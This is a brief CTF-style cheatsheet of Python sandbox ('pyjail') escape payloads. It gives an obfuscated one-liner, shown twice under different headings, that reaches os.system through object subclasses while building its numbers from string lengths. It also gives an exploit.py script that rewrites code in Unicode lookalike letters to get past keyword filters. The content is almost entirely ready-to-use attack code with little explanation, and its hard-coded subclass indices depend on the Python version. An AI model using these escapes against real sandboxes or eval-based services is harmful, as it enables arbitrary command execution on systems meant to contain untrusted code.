Pyjails

Function Override

fun_name = lambda x: x

code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"

No builtins or numbers or globals

code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"

Unicode supports

import string,sys
fake_alphabet = "𝔞 𝔟 𝔠 𝔡 𝔢 𝔣 𝔤 𝔥 𝔦 𝔧 𝔨 𝔩 𝔪 𝔫 𝔬 𝔭 𝔮 𝔯 𝔰 𝔱 𝔲 𝔳 𝔴 𝔵 𝔶 𝔷".split(" ")
real_alphabet = string.ascii_lowercase
trans = str.maketrans("".join(real_alphabet), "".join(fake_alphabet))
code = sys.argv[1]
converted_code = code.translate(trans)
print(converted_code) 

# python3 exploit.py 'print(flag)'"
#𝔭𝔯𝔦𝔫𝔱(𝔣𝔩𝔞𝔤)

Useful Cheatsheets

• https://xz.aliyun.com/t/12647